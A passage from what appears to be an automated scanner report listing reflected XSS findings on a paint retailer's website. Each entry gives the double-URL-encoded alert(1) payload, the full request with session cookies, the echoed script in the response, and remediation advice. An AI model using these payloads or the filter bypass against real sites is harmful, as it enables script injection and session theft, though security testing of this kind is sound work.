Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Portals/1/Skins/Main3babd%2522%253balert%25281%2529%252f%252fcc556bd7989/js/jquery-1.4.1.min.js HTTP/1.1
Host: www.dunnedwards.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: */*
Referer: http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/content.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=dg8hURS6zAEkAAAAYjFjMWQ2NDUtN2ZlYi00Y2ZlLTk1MGEtZDhhZjYwYTQ1Mjcz0; ASP.NET_SessionId=oj4n4xvmlec1hyu0ycu1kr45; language=en-US; colorChipCartGUID=eb8103c4-9900-43d6-a176-44f5fb2e4205

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: language=en-US; path=/; HttpOnly
X-Compressed-By: DotNetNuke-Compression
X-Powered-By: ASP.NET
Date: Wed, 05 Oct 2011 17:20:36 GMT
Content-Length: 66804

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<h
...[SNIP]...
<![CDATA[
s.pageName="404:http://www.dunnedwards.com:80/Portals/1/Skins/Main3babd";alert(1)//cc556bd7989/js/jquery-1.4.1.min.js"
s.channel=""
s.server="DEserver1"
s.pageType="errorPage"
s.events=""
s.products=""
s.purchaseID=""
s.transactionID=""
s.campaign=""
s.state=""
s.zip=""
s.eVar1="Page
...[SNIP]...

1.21. http://www.dunnedwards.com/Portals/1/Skins/Main/js/jquery-1.4.1.min.js [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dunnedwards.com
Path:   /Portals/1/Skins/Main/js/jquery-1.4.1.min.js

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 256f1%2522%253balert%25281%2529%252f%252f782b9fbcbd7 was submitted in the REST URL parameter 5. This input was echoed as 256f1";alert(1)//782b9fbcbd7 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 5 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Portals/1/Skins/Main/js256f1%2522%253balert%25281%2529%252f%252f782b9fbcbd7/jquery-1.4.1.min.js HTTP/1.1
Host: www.dunnedwards.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: */*
Referer: http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/content.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=dg8hURS6zAEkAAAAYjFjMWQ2NDUtN2ZlYi00Y2ZlLTk1MGEtZDhhZjYwYTQ1Mjcz0; ASP.NET_SessionId=oj4n4xvmlec1hyu0ycu1kr45; language=en-US; colorChipCartGUID=eb8103c4-9900-43d6-a176-44f5fb2e4205

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: language=en-US; path=/; HttpOnly
X-Compressed-By: DotNetNuke-Compression
X-Powered-By: ASP.NET
Date: Wed, 05 Oct 2011 17:20:45 GMT
Content-Length: 66804

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<h
...[SNIP]...
<![CDATA[
s.pageName="404:http://www.dunnedwards.com:80/Portals/1/Skins/Main/js256f1";alert(1)//782b9fbcbd7/jquery-1.4.1.min.js"
s.channel=""
s.server="DEserver1"
s.pageType="errorPage"
s.events=""
s.products=""
s.purchaseID=""
s.transactionID=""
s.campaign=""
s.state=""
s.zip=""
s.eVar1="Page No
...[SNIP]...

1.22. http://www.dunnedwards.com/Portals/1/Skins/Main/js/jquery-1.4.1.min.js [REST URL parameter 6]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dunnedwards.com
Path:   /Portals/1/Skins/Main/js/jquery-1.4.1.min.js

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b18df%2522%253balert%25281%2529%252f%252fa49788534ab was submitted in the REST URL parameter 6. This input was echoed as b18df";alert(1)//a49788534ab in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 6 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Portals/1/Skins/Main/js/jquery-1.4.1.min.jsb18df%2522%253balert%25281%2529%252f%252fa49788534ab HTTP/1.1
Host: www.dunnedwards.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: */*
Referer: http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/content.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=dg8hURS6zAEkAAAAYjFjMWQ2NDUtN2ZlYi00Y2ZlLTk1MGEtZDhhZjYwYTQ1Mjcz0; ASP.NET_SessionId=oj4n4xvmlec1hyu0ycu1kr45; language=en-US; colorChipCartGUID=eb8103c4-9900-43d6-a176-44f5fb2e4205

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: language=en-US; path=/; HttpOnly
X-Compressed-By: DotNetNuke-Compression
X-Powered-By: ASP.NET
Date: Wed, 05 Oct 2011 17:20:54 GMT
Content-Length: 66803

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<h
...[SNIP]...
<![CDATA[
s.pageName="404:http://www.dunnedwards.com:80/Portals/1/Skins/Main/js/jquery-1.4.1.min.jsb18df";alert(1)//a49788534ab"
s.channel=""
s.server="DEserver1"
s.pageType="errorPage"
s.events=""
s.products=""
s.purchaseID=""
s.transactionID=""
s.campaign=""
s.state=""
s.zip=""
s.eVar1="Page Not Found"
s.eVar2=""
...[SNIP]...

1.23. http://www.dunnedwards.com/Portals/1/Skins/Main/js/jquery.colorbox.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dunnedwards.com
Path:   /Portals/1/Skins/Main/js/jquery.colorbox.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a5c18%2522%253balert%25281%2529%252f%252fd917b1be2dc was submitted in the REST URL parameter 1. This input was echoed as a5c18";alert(1)//d917b1be2dc in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Portalsa5c18%2522%253balert%25281%2529%252f%252fd917b1be2dc/1/Skins/Main/js/jquery.colorbox.js HTTP/1.1
Host: www.dunnedwards.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: */*
Referer: http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/content.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=dg8hURS6zAEkAAAAYjFjMWQ2NDUtN2ZlYi00Y2ZlLTk1MGEtZDhhZjYwYTQ1Mjcz0; ASP.NET_SessionId=oj4n4xvmlec1hyu0ycu1kr45; language=en-US; colorChipCartGUID=eb8103c4-9900-43d6-a176-44f5fb2e4205

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: language=en-US; path=/; HttpOnly
X-Compressed-By: DotNetNuke-Compression
X-Powered-By: ASP.NET
Date: Wed, 05 Oct 2011 17:20:01 GMT
Content-Length: 66794

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<h
...[SNIP]...
<![CDATA[
s.pageName="404:http://www.dunnedwards.com:80/Portalsa5c18";alert(1)//d917b1be2dc/1/Skins/Main/js/jquery.colorbox.js"
s.channel=""
s.server="DEserver1"
s.pageType="errorPage"
s.events=""
s.products=""
s.purchaseID=""
s.transactionID=""
s.campaign=""
s.state=""
s.zip=""
s
...[SNIP]...

1.24. http://www.dunnedwards.com/Portals/1/Skins/Main/js/jquery.colorbox.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dunnedwards.com
Path:   /Portals/1/Skins/Main/js/jquery.colorbox.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f124c%2522%253balert%25281%2529%252f%252f5117e78d9c was submitted in the REST URL parameter 2. This input was echoed as f124c";alert(1)//5117e78d9c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Portals/1f124c%2522%253balert%25281%2529%252f%252f5117e78d9c/Skins/Main/js/jquery.colorbox.js HTTP/1.1
Host: www.dunnedwards.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: */*
Referer: http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/content.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=dg8hURS6zAEkAAAAYjFjMWQ2NDUtN2ZlYi00Y2ZlLTk1MGEtZDhhZjYwYTQ1Mjcz0; ASP.NET_SessionId=oj4n4xvmlec1hyu0ycu1kr45; language=en-US; colorChipCartGUID=eb8103c4-9900-43d6-a176-44f5fb2e4205

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: language=en-US; path=/; HttpOnly
X-Compressed-By: DotNetNuke-Compression
X-Powered-By: ASP.NET
Date: Wed, 05 Oct 2011 17:20:12 GMT
Content-Length: 66790

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<h
...[SNIP]...
<![CDATA[
s.pageName="404:http://www.dunnedwards.com:80/Portals/1f124c";alert(1)//5117e78d9c/Skins/Main/js/jquery.colorbox.js"
s.channel=""
s.server="DEserver1"
s.pageType="errorPage"
s.events=""
s.products=""
s.purchaseID=""
s.transactionID=""
s.campaign=""
s.state=""
s.zip=""
s.e
...[SNIP]...

1.25. http://www.dunnedwards.com/Portals/1/Skins/Main/js/jquery.colorbox.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dunnedwards.com
Path:   /Portals/1/Skins/Main/js/jquery.colorbox.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 85885%2522%253balert%25281%2529%252f%252fab20fa63ac5 was submitted in the REST URL parameter 3. This input was echoed as 85885";alert(1)//ab20fa63ac5 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Portals/1/Skins85885%2522%253balert%25281%2529%252f%252fab20fa63ac5/Main/js/jquery.colorbox.js HTTP/1.1
Host: www.dunnedwards.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: */*
Referer: http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/content.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=dg8hURS6zAEkAAAAYjFjMWQ2NDUtN2ZlYi00Y2ZlLTk1MGEtZDhhZjYwYTQ1Mjcz0; ASP.NET_SessionId=oj4n4xvmlec1hyu0ycu1kr45; language=en-US; colorChipCartGUID=eb8103c4-9900-43d6-a176-44f5fb2e4205

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: language=en-US; path=/; HttpOnly
X-Compressed-By: DotNetNuke-Compression
X-Powered-By: ASP.NET
Date: Wed, 05 Oct 2011 17:20:23 GMT
Content-Length: 66795

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<h
...[SNIP]...
<![CDATA[
s.pageName="404:http://www.dunnedwards.com:80/Portals/1/Skins85885";alert(1)//ab20fa63ac5/Main/js/jquery.colorbox.js"
s.channel=""
s.server="DEserver1"
s.pageType="errorPage"
s.events=""
s.products=""
s.purchaseID=""
s.transactionID=""
s.campaign=""
s.state=""
s.zip=""
s.eVar1="
...[SNIP]...

1.26. http://www.dunnedwards.com/Portals/1/Skins/Main/js/jquery.colorbox.js [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dunnedwards.com
Path:   /Portals/1/Skins/Main/js/jquery.colorbox.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 47851%2522%253balert%25281%2529%252f%252fcccbe47ceee was submitted in the REST URL parameter 4. This input was echoed as 47851";alert(1)//cccbe47ceee in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Portals/1/Skins/Main47851%2522%253balert%25281%2529%252f%252fcccbe47ceee/js/jquery.colorbox.js HTTP/1.1
Host: www.dunnedwards.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: */*
Referer: http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/content.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=dg8hURS6zAEkAAAAYjFjMWQ2NDUtN2ZlYi00Y2ZlLTk1MGEtZDhhZjYwYTQ1Mjcz0; ASP.NET_SessionId=oj4n4xvmlec1hyu0ycu1kr45; language=en-US; colorChipCartGUID=eb8103c4-9900-43d6-a176-44f5fb2e4205

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: language=en-US; path=/; HttpOnly
X-Compressed-By: DotNetNuke-Compression
X-Powered-By: ASP.NET
Date: Wed, 05 Oct 2011 17:20:32 GMT
Content-Length: 66795

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<h
...[SNIP]...
<![CDATA[
s.pageName="404:http://www.dunnedwards.com:80/Portals/1/Skins/Main47851";alert(1)//cccbe47ceee/js/jquery.colorbox.js"
s.channel=""
s.server="DEserver1"
s.pageType="errorPage"
s.events=""
s.products=""
s.purchaseID=""
s.transactionID=""
s.campaign=""
s.state=""
s.zip=""
s.eVar1="Page
...[SNIP]...

1.27. http://www.dunnedwards.com/Portals/1/Skins/Main/js/jquery.colorbox.js [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dunnedwards.com
Path:   /Portals/1/Skins/Main/js/jquery.colorbox.js

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 631e4%2522%253balert%25281%2529%252f%252fea1b4197830 was submitted in the REST URL parameter 5. This input was echoed as 631e4";alert(1)//ea1b4197830 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 5 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Portals/1/Skins/Main/js631e4%2522%253balert%25281%2529%252f%252fea1b4197830/jquery.colorbox.js HTTP/1.1
Host: www.dunnedwards.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: */*
Referer: http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/content.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=dg8hURS6zAEkAAAAYjFjMWQ2NDUtN2ZlYi00Y2ZlLTk1MGEtZDhhZjYwYTQ1Mjcz0; ASP.NET_SessionId=oj4n4xvmlec1hyu0ycu1kr45; language=en-US; colorChipCartGUID=eb8103c4-9900-43d6-a176-44f5fb2e4205

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: language=en-US; path=/; HttpOnly
X-Compressed-By: DotNetNuke-Compression
X-Powered-By: ASP.NET
Date: Wed, 05 Oct 2011 17:20:41 GMT
Content-Length: 66795

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<h
...[SNIP]...
<![CDATA[
s.pageName="404:http://www.dunnedwards.com:80/Portals/1/Skins/Main/js631e4";alert(1)//ea1b4197830/jquery.colorbox.js"
s.channel=""
s.server="DEserver1"
s.pageType="errorPage"
s.events=""
s.products=""
s.purchaseID=""
s.transactionID=""
s.campaign=""
s.state=""
s.zip=""
s.eVar1="Page Not
...[SNIP]...

1.28. http://www.dunnedwards.com/Portals/1/Skins/Main/js/jquery.colorbox.js [REST URL parameter 6]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dunnedwards.com
Path:   /Portals/1/Skins/Main/js/jquery.colorbox.js

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 841a9%2522%253balert%25281%2529%252f%252ff67be3321ea was submitted in the REST URL parameter 6. This input was echoed as 841a9";alert(1)//f67be3321ea in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 6 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Portals/1/Skins/Main/js/jquery.colorbox.js841a9%2522%253balert%25281%2529%252f%252ff67be3321ea HTTP/1.1
Host: www.dunnedwards.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: */*
Referer: http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/content.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=dg8hURS6zAEkAAAAYjFjMWQ2NDUtN2ZlYi00Y2ZlLTk1MGEtZDhhZjYwYTQ1Mjcz0; ASP.NET_SessionId=oj4n4xvmlec1hyu0ycu1kr45; language=en-US; colorChipCartGUID=eb8103c4-9900-43d6-a176-44f5fb2e4205

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: language=en-US; path=/; HttpOnly
X-Compressed-By: DotNetNuke-Compression
X-Powered-By: ASP.NET
Date: Wed, 05 Oct 2011 17:20:50 GMT
Content-Length: 66795

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<h
...[SNIP]...
<![CDATA[
s.pageName="404:http://www.dunnedwards.com:80/Portals/1/Skins/Main/js/jquery.colorbox.js841a9";alert(1)//f67be3321ea"
s.channel=""
s.server="DEserver1"
s.pageType="errorPage"
s.events=""
s.products=""
s.purchaseID=""
s.transactionID=""
s.campaign=""
s.state=""
s.zip=""
s.eVar1="Page Not Found"
s.eVar2=""
...[SNIP]...

1.29. http://www.dunnedwards.com/Portals/1/Skins/Main/js/jquery.qtip-1.0.0-rc3.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dunnedwards.com
Path:   /Portals/1/Skins/Main/js/jquery.qtip-1.0.0-rc3.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5f280%2522%253balert%25281%2529%252f%252f9ee9d856a7a was submitted in the REST URL parameter 1. This input was echoed as 5f280";alert(1)//9ee9d856a7a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Portals5f280%2522%253balert%25281%2529%252f%252f9ee9d856a7a/1/Skins/Main/js/jquery.qtip-1.0.0-rc3.js HTTP/1.1
Host: www.dunnedwards.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: */*
Referer: http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/content.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=dg8hURS6zAEkAAAAYjFjMWQ2NDUtN2ZlYi00Y2ZlLTk1MGEtZDhhZjYwYTQ1Mjcz0; ASP.NET_SessionId=oj4n4xvmlec1hyu0ycu1kr45; language=en-US; colorChipCartGUID=eb8103c4-9900-43d6-a176-44f5fb2e4205

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: language=en-US; path=/; HttpOnly
X-Compressed-By: DotNetNuke-Compression
X-Powered-By: ASP.NET
Date: Wed, 05 Oct 2011 17:20:06 GMT
Content-Length: 66840

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<h
...[SNIP]...
<![CDATA[
s.pageName="404:http://www.dunnedwards.com:80/Portals5f280";alert(1)//9ee9d856a7a/1/Skins/Main/js/jquery.qtip-1.0.0-rc3.js"
s.channel=""
s.server="DEserver1"
s.pageType="errorPage"
s.events=""
s.products=""
s.purchaseID=""
s.transactionID=""
s.campaign=""
s.state=""
s.zip
...[SNIP]...

1.30. http://www.dunnedwards.com/Portals/1/Skins/Main/js/jquery.qtip-1.0.0-rc3.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dunnedwards.com
Path:   /Portals/1/Skins/Main/js/jquery.qtip-1.0.0-rc3.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload df92c%2522%253balert%25281%2529%252f%252fc637b4220a8 was submitted in the REST URL parameter 2. This input was echoed as df92c";alert(1)//c637b4220a8 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

